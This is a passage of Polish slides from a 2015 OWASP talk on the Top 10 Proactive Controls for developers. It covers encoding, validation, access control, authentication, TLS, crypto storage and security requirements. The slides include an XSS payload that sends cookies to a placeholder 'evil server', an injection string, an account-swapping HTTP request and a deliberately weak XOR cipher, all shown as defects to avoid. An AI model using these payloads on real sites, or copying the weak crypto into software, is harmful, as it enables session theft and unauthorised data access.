Wykład z konferencji 4Developers 2015.
OWASP - Open Web Applications Security Project to fundacja non-profit której celem jest eliminacja problemów bezpieczeństwa aplikacji.
W trakcie wykładu przedstawie krótko OWASP Top 10 w wydaniu dla programistów, czyli "Top 10 Proactive Controls" a więc najważniejsze zalecenia pozwalające na uniknięcie kluczowych błędów bezpieczeństwa.
2. Wojtek Dworakowski
@wojdwo
CEO (od 2003)
Testowanie i doradztwo w zakresie
bezpieczeństwa aplikacji i systemów IT
OWASP Poland
Chapter Leader (od 2011)
3. OWASP
O = Open
• Materiały i narzędzia
– za darmo
– licencje Creative Commons
– open source
• Tworzone na zasadach otwartej współpracy
– każdy może przyłączyć się
3
4. OWASP Poland Chapter
• Od 2007
• Spotkania: Kraków, Poznań, Warszawa
• Wstęp wolny
• Wspierają nas:
5. Ankieta na 4Developers 2014*
* Badanie SecuRing „Praktyki wytwarzania bezpiecznego oprogramowania w
polskich firmach – 2014”
• 62% firm nie edukuje programistów w zakresie
bezpieczeństwa aplikacji
• >50% firm nie uwzględnia bezpieczeństwa na etapie
projektowania
• 73% pytanych potwierdziło, że wprowadzało
poprawki wynikające z testów bezpieczeństwa
• Tylko 42% potwierdziło że przed wdrożeniem
wykonują testy bezpieczeństwa
7. Disclaimer
• Nie można opierać bezpieczeństwa aplikacji
tylko na podstawie Top 10
– To materiał edukacyjny
– Każda aplikacja ma swój specyficzny profil ryzyka
13. XSS
• Zmiana treści strony
• Przechwycenie sesji
<script>document.body.innerHTML(“Jim was here”);</script>
<script>
var img = new Image();
img.src="http://<some evil server>.com?” + document.cookie;
</script>
14. Skutki braku kodowania znaków
specjalnych
• Session hijacking
• Network scanning
• Obejście zabezpieczeń przed CSRF
• Zmiana zawartości strony (w przeglądarce)
• …
• Przejęcie kontroli nad przeglądarką
– vide BeEF
18. Cross Site Scripting
Ale często wklejenie bezpośrednio w kontekst
javascript:
<script> var split='<bean:write name="transferFormId"
property="trn_recipient">'; splitRecipient(split); </script>
trn_recipient=';alert('xss');--
<script> var split='';alert('xss');--
19. Dobre praktyki
• Kodowanie znaków specjalnych odpowiednie
do kontekstu użycia
– element HTML
– Atrybut HTML
– JavaScript
– JSON
– CSS / style
– URL
20. Narzędzia i materiały
• XSS (Cross Site Scripting) Prevention Cheat
Sheet
• Java Encoder Project
• Microsoft .NET AntiXSS Library
• OWASP ESAPI
• Encoder Comparison Reference Project
22. Po co walidacja?
• Większość innych podatności (np. injection,
xss, …) wynika (również) z braku walidacji
• Walidacja jest jak firewall
– Nie zabezpiecza przed wszystkim
– …ale dobrze ją mieć
23. Dobre praktyki
• Walidacja wg whitelisty a nie blacklisty,
• Typowanie pól
– najlepiej „systemowo” a nie per formularz.
– Porządkuje to bezpieczeństwo w wielu warstwach
– np. potem łatwo można użyć do reguł WAF
• Walidacja pierwszą linią obrony
– np. silne rzutowanie typów zapobiegnie injection,
– ale nie może być jedyną !
24. Narzędzia i materiały
• Input Validation Cheat Sheet
• Apache Commons Validator
• OWASP JSON Sanitizer Project
• OWASP Java HTML Sanitizer Project
• Google Caja
27. Żądanie HTTP po przechwyceniu
GET /services/history/account/85101022350445200448009906 HTTP/1.1
SA-DeviceId: 940109f08ba56a89
SA-SessionId: 826175
Accept: application/json
Host: acc
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
GET /services/history/account/45101022350445200448005388 HTTP/1.1
SA-DeviceId: 940109f08ba56a89
SA-SessionId: 826175
Accept: application/json
Host: acc
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
Podmiana nr rachunku – uzyskujemy cudze dane
28. Dobre praktyki
• Decyzja po stronie serwera !
• Default deny
• Wszystkie żądania muszą przejść przez
kontrolę uprawnień
– scentralizowany, spójny mechanizm
• Zasady kontroli dostępu (policy) osobne od
kodu
– a nie jako część kodu
32. Przykład defektu
• Uwierzytelnienie kluczem lokalnie trzymanym
na komputerze
• Proces logowania:
1. podajemy login
2. wybieramy plik z kluczem, wprowadzamy hasło
do klucza
3. jesteśmy zalogowani
https://...../GenerateNewKey
33. Dobre praktyki
• Sprawdź prawa dostępu do funkcji
pozwalających na zmianę danych
uwierzytelniających
• Zasada „łańcucha zaufania”
• Uwaga na sesyjność „na granicy” !
• Nie limituj długości i znaków które można użyć
w haśle
36. Przykład defektu (at transit)
• SSL zapewnia szyfrowanie i autentyczność
• Co weryfikuje autentyczność serwera?
– Aplikacje przeglądarkowe: Przeglądarka
– Aplikacje mobilne / thick-client / embedded…:
Aplikacja
• Najczęstsze błędy
– Brak sprawdzenia certyfikatu lub „łańcucha zaufania”
– Brak obsługi wyjątku
37. Dobre praktyki (in transit)
• TLS
• Dla całości aplikacji
• Cookies: flaga „Secure”
• HTTP Strict Transport Security
• Zestawy silnych szyfrów
• Chain of trust
• Certificate pinning
38. Narzędzia i materiały (in transit)
• Transport Layer Protection Cheat Sheet
• Pinning Cheat Sheet
• OWASP O-Saft (SSL Audit for Testers)
39. Przykład defektu (at rest)
• Przechowywanie haseł
• „Własna” implementacja SHA1
public static String encrypt(byte [] in)
{
String out = "";
for(int i = 0; i < in.length; i++)
{
byte b = (byte)(in[i] ^ key[i%key.length]);
out += "" + hexDigit[(b & 0xf0)>>4] + hexDigit[b & 0x0f];
} return out;
}
40. Dobre praktyki (at rest)
• Nie próbuj wynaleźć koła !
– Własne szfry są ZŁE
– Własna implementacja crypto jest ZŁA
– Sprawdzone biblioteki
• Silne szyfry w silnych trybach
– ECB jest ZŁE
– CBC – uwaga na „padding oracle”
• Dobre źródło losowości dla IV
41. Narzędzia i materiały
• Google KeyCzar
• Cryptographic Storage Cheat Sheet
• Password Storage Cheat Sheet
47. Definiowanie wymagań
• Scenariusze ataku
– Jak zagrożenia mogą osiągnąć cele?
– Wymaga doświadczenia i wiedzy eksperckiej
• Dobranie zabezpieczeń == WYMAGANIA
Zagrożenia Skutki
Scenariusze
ataku
Kto? Jak? Co?
48. Narzędzia i materiały
• OWASP Application Security Verification
Standard Project
• Software Assurance Maturity Model
• Business Logic Security Cheat Sheet
• Testing for business logic (OWASP-BL-001)
52. To tylko Top Ten !
• Każda aplikacja jest inna
– Trzeba zdefiniować profil ryzyka (KTO?, PO CO?)
– i uwzględnić „zgodność z przepisami”
• Kilka prostych kroków daje duże efekty
• Warto edukować programistów w zakresie
bezpieczeństwa